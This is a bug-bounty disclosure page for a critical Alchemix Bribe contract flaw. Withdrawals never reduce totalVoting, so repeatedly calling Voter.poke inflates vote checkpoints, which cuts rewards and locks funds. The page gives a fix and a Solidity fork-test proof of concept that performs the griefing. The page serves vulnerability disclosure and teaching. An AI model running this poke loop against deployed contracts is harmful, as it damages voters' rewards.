Skip to content
Business logic Audit finding Intermediate

Users can grief Bribe rewards forcing them to b

The Bribe contract's withdraw function does not subtract the withdrawn amount from totalVoting, so repeated calls to Voter.poke inflate the total voting checkpoints. This causes earned rewards to be divided by an inflated total, reducing each voter's share and leaving unclaimed rewards stuck.

OxAlix2 Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

31409 - [SC - Critical] Users can grief Bribe rewards forcing them to b...

Submitted on May 18th 2024 at 15:43:37 UTC by @OxAlix2 for Boost | Alchemix

Report ID: #31409

Report type: Smart Contract

Report severity: Critical

Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol

Impacts:

  • Permanent freezing of unclaimed yield
  • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Description

Brief/Intro

When users vote in the Voter contract, it calls Bribe::deposit to "save" this vote, so that later when rewards come in for that Bribe can be distributed to users who voted. The opposite happens when users reset/withdraw their votes. However, there's 1 anomaly between the Bribe's deposit and withdrawal, where on deposit, Bribe is "checkpointing" the votes using:

totalVoting += amount;
_writeVotingCheckpoint()

And the opposite is not happening on the withdrawal, this allows users to mess up all the Bribe's rewards.

Vulnerability Details

When users vote in the Voter contract, it calls Bribe::deposit which increases the total votes of that Bribe, however, on withdrawal these votes aren't being subtracted. On the other hand, the Voter contract allows users to continuously call the poke function that resets and then vote again in the same gauges/bribes, without any condition on that function. This allows voters to continuously call the poke function to skyrocket the total votes checkpoints in the Bribe, remember when poke resets/withdraws the votes they are not being removed.

These total votes' checkpoints are being used in Bribe::earned, to calculate the earned amount to each voter, it is being divided by, https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol#L261, which wrongly decrease the rewards for each user.

Impact Details

  • Griefing of users, as their rewards will be a lot less than what they "deserve", if there were even some rewards left.
  • The remaining unclaimed rewards will remain stuck forever in the contract.

References

https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol#L319-L329

Mitigation

Add the following in Bribe::withdraw:

totalVoting -= amount;
_writeVotingCheckpoint();

Proof of concept

Fork block number used: 19877251

function testGriefBribeRewards() public {
    // Bribe config
    uint256 usdcRewardAmount = 100e6;
    hevm.prank(voter.admin());
    voter.whitelist(usdc);
    address bribeAddress = voter.bribes(voter.gauges(alUsdPoolAddress));
    deal(address(usdc), address(this), usdcRewardAmount);
    IERC20(usdc).approve(bribeAddress, usdcRewardAmount);

    // Admin and Beef create locks
    uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
    uint256 tokenId2 = createVeAlcx(beef, TOKEN_1, MAXTIME, false);

    address[] memory pools = new address[](1);
    pools[0] = alUsdPoolAddress;
    uint256[] memory weights = new uint256[](1);
    weights[0] = 5000;

    // Admin and Beef vote
    hevm.prank(admin);
    voter.vote(tokenId1, pools, weights, 0);
    hevm.prank(beef);
    voter.vote(tokenId2, pools, weights, 0);

    // Confirm voting success
    assertGt(IBribe(bribeAddress).totalVoting(), 0);

    // Increase time to reach just before epoch end
    hevm.warp(IBribe(bribeAddress).getEpochStart(block.timestamp) + 2 weeks - 1 hours);

    // Beef continously calls poke, messing up votes checkpoints in the Bribe contract
    hevm.startPrank(beef);
    voter.poke(tokenId2);
    hevm.warp(block.timestamp + 1);
    voter.poke(tokenId2);
    hevm.warp(block.timestamp + 1);
    voter.poke(tokenId2);
    hevm.warp(block.timestamp + 1);
    voter.poke(tokenId2);
    hevm.warp(block.timestamp + 1);
    voter.poke(tokenId2);
    hevm.stopPrank();

    // Rewards come in to the Bribe contract
    IBribe(bribeAddress).notifyRewardAmount(usdc, usdcRewardAmount);

    // Epoch ends
    hevm.warp(block.timestamp + 1 hours);

    // Voting still exists
    assertGt(IBribe(bribeAddress).totalVoting(), 0);
    // Rewards for each token is around 14 USDC where it should be 50 USDC (100 USDC / 2 tokens)
    assertEq(IBribe(bribeAddress).earned(usdc, tokenId1) / 1e6, 14);
    assertEq(IBribe(bribeAddress).earned(usdc, tokenId2) / 1e6, 14);
}

The original report as published on Immunefi, by OxAlix2. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Voters receive significantly fewer rewards than they deserve, and remaining unclaimed rewards become permanently stuck in the contract.

What the attacker needed

A veALCX lock; ability to vote in a gauge; rewards notified to the bribe

The fix

The withdraw function should subtract the withdrawn amount from totalVoting and write a new voting checkpoint.

How it was found

  1. Admin and Beef create locks and vote in the same pool.
  2. Beef repeatedly calls voter.poke on his token ID, each time advancing time by one second.
  3. Rewards are notified to the Bribe contract.
  4. The epoch ends and earned rewards are checked, showing a reduced amount.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When people vote, the system records how many votes they have. If they later change or reset their vote, the system should reduce that record, but it does not. An attacker can repeatedly reset and re-vote to make the total vote count grow without limit, which makes everyone's reward share smaller.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by OxAlix2

View all

6 more disclosed reports, best first.

More from Alchemix

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.